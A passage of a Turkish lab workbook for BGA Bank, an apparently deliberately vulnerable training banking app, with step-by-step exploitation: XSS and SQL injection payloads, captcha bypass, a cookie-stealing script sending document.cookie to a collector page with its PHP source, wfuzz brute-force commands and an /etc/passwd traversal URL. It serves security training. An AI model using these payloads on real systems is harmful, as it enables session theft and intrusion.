Top Banner
[ Tüm yayın hakları BGA Bilgi Güvenliği A.Ş.’e aittir. BGA’nın yazılı izni olmadan çoğaltılamaz. Kaynak gösterilmek koşuluyla alıntı yapılabilir.] BGA BANK Web Güvenlik Testleri Uygulama Kitabı Ceylan BOZOĞULLARINDAN <[email protected]>
143

BGA BANK Web Güvenlik Testleri Uygulama Kitabı

Jul 17, 2015

Download

Technology

Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

 

     

[ Tüm  yayın  hakları  BGA  Bilgi  Güvenliği  A.Ş.’e  aittir.  BGA’nın  yazılı  izni  olmadan  çoğaltılamaz.  Kaynak  gösterilmek  koşuluyla  alıntı  yapılabilir.]  

BGA  BANK  Web  Güvenlik  Testleri  Uygulama  Kitabı  Ceylan  BOZOĞULLARINDAN  <[email protected]>  

           

08  Fall  

Page 2: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

2   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

GİRİŞ  

BGA  Bank  Hakkında      “BGA  BANK  (Vulnerable  Online  Bank  Application)”  uygulaması  PHP  tabanlı  çeşitli   zafiyetler  içeren   sızma   testi   eğitim   platformudur.   Türkiye'deki   bankacılık   altyapısı   incelenerek   bu  altyapılarda  çıkabilecek  tüm  teknik  ve  mantıksal  hatalar  uygulamanın  içine  eklenmiş  ve  web  uygulama   güvenliği   konusunda   çalışanlar   için   gerçekci   bir   sızma   testi   platformu  oluşturulmuştur.    

Webgoat,   DVWA   vs   gibi   benzeri   amaçla   yazılmış   programlardan   en   temel   farkı   açıklıkların  doğrudan  kullanıcıya  nerede  olduğu  ve  nasıl  istismar  edileceği  ile  ilgili  ipucu  vermemesidir.    

BGA  BANK  altyapısı  3  farklı  sistemden  oluşmaktadır:    1-­‐  BGA  BANK  -­‐  http://www.bgabank.com  2-­‐  IPS  Korumalı  Bankacılık  Uygulaması  -­‐  http://ipstest.bgabank.com  3-­‐  WAF  Korumalı  Bankacılık  Uygulaması  -­‐  http://waftest.bgabank.com  

 Böylece  bgabank.com'da  çalışan  bir  açıklığın  hem  IPS  hem  de  WAF  sistemleri  ile  tekrar  test  edilerek  çeşitli  evasion  tekniklerinin  denenmesi  de  sağlanmış  olmaktadır.  

 

Yazılım  Geliştiriciler   Ceylan  BOZOĞULLARINDAN,  Rızacan  TUFAN  

Kitapçık  Yazarları   Ceylan   BOZOĞULLARINDAN,   Ender   AKBAŞ,  Huzeyfe  ÖNAL  

Katkıda  Bulunanlar   Halil  DALABASMAZ,  Ömer  ALBAYRAK  

Proje  Yöneticisi   Huzeyfe  ÖNAL  

 

Kitap  içeriğiyle  ilgili  her  türlü  geri  dönüş  için  [email protected]  adresine  e-­‐posta  gönderebilirsiniz.  

 

 

 

 

 

Page 3: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   3    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

Bilgi  Güvenliği  AKADEMİSİ  (BGA)  Hakkında  

Bilgi  Güvenliği  Akademisi   (BGA)  Türkiye’deki  bilgi  güvenliği  sektörüne  profesyonel  anlamda  destek   olmak   amacıyla   ileri   seviye   güvenlik   danışmanlığı   ve   bilgi   güvenliği   eğitimleri  konularında  kurumlara  hizmet  vermektedir.  

2008-­‐2010   yılları   arasında   yapılan   çalışmalar   sonucu   gönüllü   bir   ekip   tarafından   kurulup  Türkiye   ‘de  bilgi  güvenliği  konusunda  bilgi  paylaşımının  ve  bilinçlenmenin  arttırılması  adına  e-­‐posta   listeleri   oluşturulması,   seminerler,   güvenlik   günleri   düzenlenmesi,   üniversite  öğrencilerine   yön   vermek  maksadı   ile   siber   güvenlik   kamplarının   düzenlenmesi   gibi   birçok  konuda  faaliyetlerde  bulunmuştur.  

Bilgi   Güvenliği   Akademisi,   BGA   Bilgi   Güvenliği   A.Ş.   olarak      2011   yılı   başında  şirketleşmiştir.    Kısa   sürede   Türkiye’nin   en   önemli   kurumlarına   bilgi   güvenliği   ve   stratejik  siber   güvenlik   konularında   danışmanlık   gerçekleştirmiş,   500’den   fazla   kuruma   eğitim  vermiştir.  

2012   -­‐   2015   yılları   itibariyle   yurtdışında   Azerbaycan,   Kazakistan,   KKTC   gibi   ülkelerde   de  şube    açmış  ve  bu  ülkelerde  en  büyük  10  şirkete  hizmet  vermektedir  .  

 

Sunduğumuz   eğitim   ve   danışmanlık   hizmetleri   için   [email protected]   adresine   e-­‐posta  gönderebilirsiniz.  

   

Page 4: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

4   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

İç indekiler  GİRİŞ  .............................................................................................................................................................  2  

Bilgi  Güvenliği  AKADEMİSİ  (BGA)  Hakkında  ..............................................................................................  3  

1.  Müşteri  Giriş  Paneli  Reflected  XSS  Zafiyeti  ve  İstismarı  ...........................................................................  6  

2.  Müşteri  Giriş  Paneli  SQL  Injection  Zafiyeti  ve  İstismarı  ............................................................................  9  

3.  User-­‐Agent  Bilgisi  Değiştirerek  Captcha  Atlatma  (Mobil  Giriş)  ...............................................................  12  

4.  Arama  Kutusu  Reflected  XSS  Zafiyeti  ve  İstismarı  ..................................................................................  14  

5.  HPF  (HTTP  Parameter  Fragmentation)  Yöntemi  ile  XSS  İstismarı  ...........................................................  16  

6.  XSS  Kullanarak  Cookie  Bilgisi  Çalma  .......................................................................................................  17  

7.  Yönetim  Paneli  Dizin  İfşası  ......................................................................................................................  18  

8.  Local  File  Inclusion  Zafiyeti  ve  İstismarı  ..................................................................................................  20  

9.  robots.txt  Bilgi  İfşası  ...............................................................................................................................  22  

10.  PhpMyAdmin  Bilgi  İfşası  .......................................................................................................................  23  

11.  Arama  Kutusu  Error  Based  &  Union  Query  SQL  Injection  Zafiyeti  ve  İstismarı  ....................................  24  

12.  Log  Dizininde  Cookie  İfşası  (elmah.axd)  ve  İstismarı  ............................................................................  30  

13.  Mesaj  Gönderme  Stored  XSS  Zafiyeti  ve  İstismarı  ................................................................................  36  

14.  Havale/EFT  Hesap  Arama  Kutusu  SQL  Injection  Zafiyeti  ve  İstismarı  ...................................................  38  

15.  User-­‐Agent  Başlık  Bilgisinde  SQL  Injection  Zafiyeti  ve  İstismarı  ...........................................................  41  

16.  Profil  Güncelleme  Shell  Upload  Zafiyeti  ve  İstismarı  ............................................................................  42  

17.  Havale/EFT  Stored  XSS  Zafiyeti  ve  İstismarı  .........................................................................................  45  

18.  Erişim  Kısıtlamasını  Atlatma  .................................................................................................................  48  

19.  Havale/EFT  İşlemi  Mantık  Hatası  ve  İstismarı  .......................................................................................  51  

20.  Müşteri  Bilgileri  Insecure  Direct  Object  Zafiyeti  ve  İstismarı  ................................................................  53  

21.  Ziyaretçi  Defteri  Stored  XSS  Zafiyeti  ve  İstismarı  ..................................................................................  56  

22.  Çalışmayan  Captcha  Uygulaması  ..........................................................................................................  58  

23.  Captcha  Atlatarak  Brute  Force  Saldırısı  Gerçekleştirme  .......................................................................  59  

24.  Cookie  Hırsızlığı  ile  Yönetim  Panelinde  Oturum  Açmak  .......................................................................  62  

25.  Müşteri  Parolasının  Tahmin  Edilebilir  Olması  .......................................................................................  66  

26.  Havale  İşleminde  Mantık  Hatası  (Havale  Yaparak  Bakiye  Arttırma)  .....................................................  70  

27.  Dizin  Listeleme/İfşa  Zafiyeti  .................................................................................................................  71  

28.  Şifre  Değiştirme  İşlemi  CSRF  Zafiyeti  ve  İstismarı  .................................................................................  72  

29.  Kartlarım  Sayfası  Insecure  Direct  Object  References  Zafiyeti  ve  İstismarı  ...........................................  76  

30.  Şubeler  Sayfası  SQL  Injection  Zafiyeti  ve  İstismarı  ...............................................................................  79  

31.  İşlem  Özeti  Filtreleme  Web  Service  SQL  Injection  ................................................................................  83  

32.  BGA  Bank  Session  Fixation  Saldırısı  ......................................................................................................  86  

Page 5: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   5    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

33.  HTML  Yorum  Satırlarında  Bilgi  İfşası  .....................................................................................................  88  

34.  Şifre  Değiştirme  Panelinde  Şifre  Form  Kontrolünü  Atlatma  .................................................................  90  

35.  Diğer  Müşterilere  Bağlı  Kart  Şifrelerini  Değiştirme  ..............................................................................  93  

36.  Şubeler  Sayfası  Reflected  XSS  Zafiyeti  ve  İstismarı  ...............................................................................  96  

37.  İçerik  Parametresi  Time-­‐Based  SQL  Injection  Zafiyeti  ve  İstismarı  .......................................................  99  

38.  Kodlarına  Ulaşılabilir  Dosyalar  ............................................................................................................  101  

39.  User-­‐Agent  Başlık  Bilgisinde  Stored  XSS  Zafiyeti  ve  İstismarı  .............................................................  103  

40.  Haberdar  Ol  Sayfası  SQL  Injection  Zafiyeti  ve  İstisamarı  ....................................................................  107  

41.  Haberdar  Ol  Sayfası  Reflected  XSS  Zafiyeti  ve  İstismarı  .....................................................................  112  

42.  Döviz  Alma  İşleminde  Araya  Girilerek  Döviz  Fiyatı  Değiştirme  ...........................................................  115  

43.  Tomcat  6  Sistem  İfşası  ........................................................................................................................  118  

44.  Güvensiz  Çıkış  Zafiyeti  ........................................................................................................................  119  

45.  User-­‐Agent  Bilgisi  Değiştirerek  Ücretsiz  Havale  İşlemi  Gerçekleştirme  ..............................................  121  

46.  LFI  ve  Dosya  Yükleme  Zafiyetini  Kullanarak  Sisteme  Shell  Yükleme  ...................................................  123  

47.  Tomcat  Metasploit  Brute  Force  Saldırısı  ............................................................................................  128  

48.  Müşteri  Girişi  Form  Tabanlı  Brute  Force  Saldırısı  ...............................................................................  130  

49.  OWASP  Xenotix  XSS  Framework  Kullanarak  XSS  Tespiti  .....................................................................  133  

50.  XSS  Zafiyeti  ile  Beef  Framework  Kullanarak  Şifre  Çalma  Senaryosu  ...................................................  136  

51.  Nmap  Kullanarak  PortSpoof  Tespiti  ....................................................................................................  142  

 

 

   

Page 6: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

6   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

1. Müşteri Giriş Paneli Reflected XSS Zafiyeti ve İstismarı BGA   Bank   "Müşteri   Giriş   Paneli"   sayfasında   “Reflected   XSS   Zafiyeti”   bulunmaktadır.   XSS  zafiyetinin  tespiti  ve  istismarı  aşağıda  adım  adım  anlatılmıştır.  

URL   http://isube.bgabank.com/giris.aspx  

HTTP  Talep  Türü   POST  

Payload   <script>alert(document.cookie)</script>  

Parametre   b_musterino  

Tablo  1.  Giriş  Sayfası  Reflected  XSS  Zafiyet  Bilgileri  

1)  Giriş  formu  rastgele  ve  yanlış  bilgilerle  doldurulur,  ardından  “Giriş  Yap”  butonuna  tıklanır.  

 Şekil  1.  Müşteri  Giriş  Paneli  

Yanlış   girilen  müşteri  numarasının  hata  mesajında  yer  alması,  XSS   zafiyetinin  olabileceğine  işaret  eder.  12345678  yerine  yazılan  herhangi  bir  HTML  veya  JavaScript  kodu,  sayfa  kaynak  kodları  arasında  yer  alır.  Eğer  girdiler  geliştirici  tarafından  filtrelenmemişse  saldırgan  zararlı  kod  parçacıklarını  sayfa  üzerinde  çalıştırabilir.  

2)   Tarayıcı   ile   uygulama   arasına   girilerek,   JavaScript   filtrelemeleri   atlatılır   ve   payload  çalıştırılır.  

Müşteri  numarası  alanına  direk  tarayıcı  üzerinden  html  kod  girildiğinde,  Şekil  2.  de  gösterilen  hata  veya  türevleri  zafiyetin  istismarına  engel  olacaktır.    

Page 7: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   7    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

 Şekil  2.  Müşteri  Giriş  Paneli  Hata  Mesajı  

Uygulama  geliştirici,   girdileri   JavaScript   ile   kontrol  etmektedir.   JavaScript   kodları   sunucuda  değil,   son   kullanıcının   yani  müşterinin   tarayıcısında   çalışır.   Bu   problem,   tarayıcı   ile   sunucu  arasına   girilerek   çözülebilir.   Bunu   gerçekleştirmek   için   de   Proxy   araçları   kullanılır.   Bu  zafiyetin  istismarında  Proxy  aracı  olarak  Burp  Suite  kullanılmıştır.  

Müşteri   numarası,   geliştiricinin   istediği   formata   uygun   bir   şekilde   (12345678)   girilir.   “Giriş  Yap”  butonuna  tıklandığı  anda  sunucuya  gönderilen  istek  Proxy’ye  düşer.  Proxy’de  bekletilen  istek  üzerinde  bulunan,  “b_musterino”  parametresinin  12345678  olan  değeri  Tablo  1.  deki  payload   ile   değiştirilir.   Bekletilen   isteğe   izin   verilerek   sunucuya   ulaşması   sağlanır.   Böylece  filtreleme  başarılı  bir  şekilde  atlatılmış  olur.  

Şekil  3.  Burp  Suite  İle  Veri  Manipülasyonu  

 

 

 

Page 8: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

8   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

3)  Sonuç,  müşterinin  cookie  bilgileri  başarılı  bir  şekilde  alınır.  

 Şekil  4.  Sonuç  

   

Page 9: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   9    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

2. Müşteri Giriş Paneli SQL Injection Zafiyeti ve İstismarı Müşteri   giriş   panelinde   SQL   injection   zafiyeti   yer   almaktadır.   Zafiyet   bilgileri   tablo   2.   de  gösterilmiştir.    

URL   http://isube.bgabank.com/giris.aspx  

HTTP  Talep  Türü   POST  

Payload   "  or  2=2;-­‐-­‐  

Parametre   b_musterino  

Tablo  2.  Giriş  Sayfası  SQL  Injection  Zafiyet  Bilgileri  

Zafiyetin  istismarı  aşağıda  adım  adım  anlatılmıştır.  

1)  Giriş   formu   kurallara   uygun   şekilde   doldurur   ve   Firefox’un   HTTP   Live   Headers   eklentisi  açıkken  “Giriş  Yap”  butonuna  tıklanır.    

HTTP   isteği   gönderilirken,   “Live   HTTP   Header”   üzerinde   kendi   yansımasını   bırakır.   Bu  yansıma   üzerinde   Javascript   filtreleme   olmadığından   payload   girilerek   istek   tekrar  gönderilebilir.  Şekil  5.  de  gösterilen  istek  üzerinde  değişiklik  yapmak  için  “Replay”  butonuna  tıklanır.  

 Şekil  5.  Live  HTTP  Headers  

Page 10: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

10   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

2)  “b_musterino”  parametre  değerine,  Tablo  2.  de  yer  alan  SQL   injection  payload  girilir  ve  istek  tekrar  “Replay”  butonu  ile  gönderilir.  (bkz.  Şekil  6)  

 Şekil  6.  Live  HTTP  Headers  SQL  Injection  Payload  Gönderimi  

 

 

 

 

 

 

 

 

 

 

 

Page 11: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   11    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

3)  Sonuç,  başarılı.  

 Şekil  7.  Sonuç  

   

Page 12: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

12   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

3. User-Agent Bilgisi Değiştirerek Captcha Atlatma (Mobil Giriş)  

URL   http://isube.bgabank.com/giris.aspx  

Tablo  3.  Captcha  URL  

Tablo  3.  de  belirtilen  adreste  üç  kez  yanlış  giriş  denemesinde  bulunulduğunda,  brute  force  saldırısını   engellemek   için   captcha   çıkmaktadır.   Fakat   mobil   cihazla   girildiğinde   captcha  çıkmamaktadır.   Tarayıcıda   user-­‐agent   bilgisi   değiştirilerek,   mobil   cihaz   gibi   siteye   giriş  yapılabilir.  Bunun  için  Firefox  eklentisi  “User  Agent  Switcher”  kullanılabilir.  

 Şekil  8.  Captcha  Panel  

Bu  durumdayken  “User  Agent  Switcher”  ile  cihaz  iPhone  3.0  olarak  ayarlanır  ve  yanlış  veriler  girilip  “Giriş  Yap”  butonuna  tıklandığında  Captcha  ‘nın  kaybolduğu  görülecektir.  (Şekil  9)  

Page 13: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   13    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

 Şekil  9.  User  Agent  Switcher  

   

Page 14: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

14   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

4. Arama Kutusu Reflected XSS Zafiyeti ve İstismarı URL   http://isube.bgabank.com/?sayfa=arama.php&s1=bgabank&s2=  

HTTP  Talep  Türü   GET  

Payload   <Script>prompt(document.cookie);</Script>  

Parametre   s1  veya  s2  

Tablo  4.  Arama  Sayfası  Reflected  XSS  Zafiyet  Bilgileri  

Arama   kutusunda   Reflected   XSS   zafiyeti   bulunmaktadır.   Zafiyet   bilgileri   Tablo   4.   de  belirtilmiştir.  Bu  zafiyeti  istismar  etmeden  önce  normal  bir  arama  yapılır.  "deneme"  kelimesi  aratıldığında  "Aradığınız  Kayıt  Bulunamadı”  hatası  dönmektedir.    (bkz.  Şekil  10)  

 Şekil  10.  Normal  Arama  Sonucu  

Daha   sonra   çeşitli   payloadlar   denenebilir.   En   sık   kullanılan   payloadlardan  <script>alert(1)</script>  denendiğinde,  sonuç  Şekil  11  deki  gibidir.    

 Şekil  11.  Hata  mesajı  

Burada  script,  alert  gibi  sık  kullanılan  XSS  payloadlarına  karşı  bir  önlem  alındığı  düşünülebilir.  Bu   engeli   atlatmak   için   en   basit   yöntemlerden   biri   script   kelimesini   büyük-­‐küçük   harf  

Page 15: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   15    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

kullanarak   yazmaktır.   Şekil   12.   de   <Script>prompt(document.cookie);</Script>   payloadı  denenmiştir  ve  sonuç  başarılıdır.    

 Şekil  12.  Sonuç  

Bu   payload   haricinde,   içinde   script   veya   alert   kelimeleri   geçmeyen   yüzlerce   farklı   payload  çalıştırılabilir.      Örnek;  http://isube.bgabank.com/?sayfa=arama.php&s1=<img  onerror=prompt('BGA')  src="a"  />&s2=  (bkz.  Şekil  13)    

 Şekil  13.  Örnek  Payload  Denemesi  

   

Page 16: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

16   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

5. HPF (HTTP Parameter Fragmentation) Yöntemi ile XSS İstismarı Örnek  URL;  

http://isube.bgabank.com/?sayfa=arama.php&s1=<img  onerror=al&s2=ert('BGA')  src=”a”/>  

 Alınan   önlemler,   HPF(HTTP   Parameter   Fragmentation)   olarak   adlandırılan   yöntemle  atlatılabilmektedir.  Bu  yöntemde,  arama  işleminde  yer  alan,  iki  arama  parametresi  (s1  ve  s2)  üzerinden  istismar  edilir.  Örnek  URL  ’de  alert  s1  ve  s2  parametreleri  üzerinde  bölünmüştür.  (bkz.  Şekil  14)    

 Şekil  14.  HPP  

   

Page 17: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   17    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

6. XSS Kullanarak Cookie Bilgisi Çalma Arama   kutusunda   yer   alan   XSS   zafiyeti,   kullanıcıların   cookie   bilgilerini   çalmak   için  kullanılabilir.  Aşağıda  belirtilen   tablodaki  payload,   istenilen   linke,  kullanıcı   cookie  bilgilerini  get  isteği  ile  göndermektedir.  

Cookie  Çalma  İçin  Kullanılan  Payload  

<sCript>document.location="http://localhost/test/steal.php?cookie="+document.cookie</Script>  

 

Adres  içerisinde  belirtilen  steal.php  dosyasının  kaynak  kodları  aşağıdaki  gibidir.    

steal.php  Kaynak  Kodları  

<?php          $cookie  =  $_GET["cookie"];          $myfile  =  fopen("cookies.txt",  "a")  or  die("Dosya  bulunamadı!");          fwrite($myfile,  $cookie);          fclose($myfile);  ?>  

 

Yukarıdaki   kaynak   koddan   da   anlaşıldığı   gibi,   gelen   istekler,   cookies.txt   dosyasına  kaydedilmektedir.   Bunun   için,   ya   cookies.txt   dosyası   oluşturmalı   yolunu   belirtilmeli   ya   da  fopen   parametresi   w   olarak   değiştirilmelidir.   w   parametresi   yeni   dosya   oluşturup,   içine  yazmayı  sağlar.  

 

Şimdi  zafiyet  yeni  payload  ile  denendiğinde,  sayfanın  yönlendiği  görülecektir.  (Şekil  A)  

 Şekil  A.  Çalışan  Payload  

 

Cookies.txt  dosyasına  kullanıcı  cookie  bilgileri  kaydedilmiştir.  (Şekil  B)  

 Şekil  B.  Cookies.txt  İçeriği  

   

Page 18: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

18   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

7. Yönetim Paneli Dizin İfşası

URL   http://isube.bgabank.com/administrator.aspx  

Tablo  5.  Yönetim  Paneli  URL  

 Zafiyet  her   zaman  kodlar  üzerinde  olmayabilir.   Bazen  basit   bir   parola   veya   giriş   formunun  brute-­‐force’a   açık   olması   hedef   sistemde   hak   yükseltmek   için   kullanılabilir.   Bunun   için  öncelikle  admin  giriş  sayfasının  tespit  edilmesi  gerekir.  Keşif  aracı  olarak  wfuzz  kullanılmıştır.  Ancak  bazı  öntanımlı  admin  panel  dizinleri  manuel  olarak  da  denenebilir.    Dizin  ifşası  için  Wfuzz  aracında  aşağıdaki  komutlar  sırasıyla  çalıştırılır.    #  cd  /usr/share/wfuzz  #  ./wfuzz.py  -­‐c  -­‐-­‐hc  404,XXX  -­‐z  file,wordlist/general/admin-­‐panels.txt  http://isube.bgabank.com/?sayfa=FUZZ  

Kelime   listeleri  wfuzz/wordlist   dizini   altında  bulunabilir.   Yukarıdaki  URL’de   FUZZ   yazan   yer  brute-­‐force’un  deneneceği  kısımdır.    

 Şekil  15.  Wfuzz  Sonuç  

Page 19: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   19    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

Response   değerlerine   bakıldığında   2   tip   cevap   döndüğü   görülür,   401   ve   200.   401   olanlar  elenir.   200   olanlar   Lines,   Word,   Chars   değerlerine   bakılarak   ayırt   edilebilir.   Şekil   15.   de  benzer  değerleri  bulunmayan  tek  dizin  vardır  (administrator.aspx).  

Yönetici  paneli;  

 Şekil  16.  Yönetim  Paneli  

   

Page 20: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

20   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

8. Local File Inclusion Zafiyeti ve İstismarı

URL   http://isube.bgabank.com/?sayfa=../../../../../../etc/passwd  

Tablo  6.  Local  File  Inclusion  URL  

 ● Bir   önceki   bulguda   bahsedildiği   gibi   BGA   BANK’ta   sayfa   parametresiyle   sunucudan  

aynı  dizin  altındaki  farklı  php  dosyaları(giris.php,  mobilgiris.php  vb.)  çağırılmaktadır.  ● Hem   Linux’ta   hem  Windows’ta   .(tek   nokta)   aynı   dizini   ve     ..   (iki   nokta)   ise   bir   üst  

dizini  ifade  eder.  ● Linux   bir   sistemde   /etc/passwd   dosyası   bazı   kullanıcı   bilgilerini   saklar   ve   herkes  

tarafından  okunabilir.  Bu   bilgiler   kullanılarak   sistemdeki   yerel   dosya   okuma   zafiyetinden   /etc/passwd   dosyası  görüntülenebilir.      İşlem  manuel  olarak  yapılıyorsa  garanti  olması  için  ../../  sayısı  fazla  tutulabilir.  İşletim  sistemi  sayı  fazla  olsa  dahi  ana  dizinden  bakmaya  başlayacaktır.  Yani  tablo  6.  da  belirtilen  adrese  ve  http://isube.bgabank.com/?sayfa=../../../../../../../../../../../etc/passwd   adresine   giriş  yapıldığında  şekil  17.  deki  sonucu  verecektir.    

 Şekil  17.  /etc/passwd  Bilgileri  

Otomatize  araç  olarak  wfuzz  kullanılabilir.    #  cd  /usr/share/wfuzz  #  ./wfuzz.py  -­‐c  -­‐-­‐hc  404,XXX  -­‐z  file,wordlist/Injections/Traversal.txt  http://isube.bgabank.com/?sayfa=FUZZ  

Bir  önceki  zafiyette  olduğu  gibi  wfuzz  FUZZ’un  olduğu  bölüme  bruteforce  yapacaktır.  Word  ve  Chars  değerleri  kontrol  edilerek  geçerli  dizinler  bulunabilir.  (bkz.  Şekil  18)  

Page 21: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   21    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

 Şekil  18.  Wfuzz  LFI  

   

Page 22: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

22   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

9. robots.txt Bilgi İfşası  

URL   http://isube.bgabank.com/robots.txt    

Tablo  7.  Local  File  Inclusion  URL  

 Robot.txt,   arama  motorlarına   sitedeki  hangi  dizinleri   indeksleyebileceğini   belirten  basit   bir  metin  dosyadır.  Bu  dosya   ile,   örneğin  Google’ın   indekslemediği   gizli   dizinler,  web   sayfaları  öğrenilebilir.  Robot.txt  dosyası  web  sitesinde  en  üst  dizinde  bulunur.    Aşağıdaki  robot.txt  dosyasından  Disallow  ile  belirtilen  6  dizinin  indekslenmesinin  istenmediği  anlaşılabilir.  Bu  da  dizinlerin  var  olabileceğini  gösterir.    

 Şekil  19.  robots.txt  İçeriği  

   

Page 23: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   23    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

10. PhpMyAdmin Bilgi İfşası

URL   http://isube.bgabank.com/pma/  

Tablo  8.  phpMyAdmin  URL  

 MySQL   veritabanını   web   tarayıcısı   üzerinden   yönetmek   için   kullanılan   phpMyAdmin  uygulamasının  giriş   sayfası  dışarıya  açıktır.  Bu   sayfaya  erişim  kısıtlanmadığında  brute-­‐force  saldırılarına   maruz   kalabilir   ya   da   uygulamaya   has   zafiyetler   varsa   istismar   edilebilir.  Öntanımlı  phpMyAdmin  giriş  sayfası  pma  veya  phpmyadmin’dir.    

 Şekil  20.  phpMyAdmin  Panel  

   

Page 24: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

24   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

11. Arama Kutusu Error Based & Union Query SQL Injection Zafiyeti ve İstismarı URL   http://isube.bgabank.com/index.php?sayfa=arama.php&s1=deneme&s2=  

HTTP  Talep  Türü   GET  

Payload   "  or  1=1;  

Parametre   s1  

Tablo  9.  Arama  Kutusu  SQL  Injection  Zafiyet  Bilgileri  

Arama  kısmında  hata  tabanlı  ve  Union  sorguları  çalıştırılabilecek  SQL  injection  zafiyeti  vardır.  Tespit  için  öncelikle  bir  çift  tırnak  atıldığında  SQL  hatası  görülebilir.  (bkz.  Şekil  21)  

 Şekil  21.  Arama  Kutusu  SQL  injection  

deneme"  or  1=1;  payloadı  ile  veritabanında  deneme  ile  ilgili  bir  içerik  olmasa  dahi  "  or  1=1;  ile  tüm  içerik  listelenmiştir.  (bkz.  Şekil  22)  

Page 25: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   25    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

 Şekil  22.  Payload  Çıktısı  

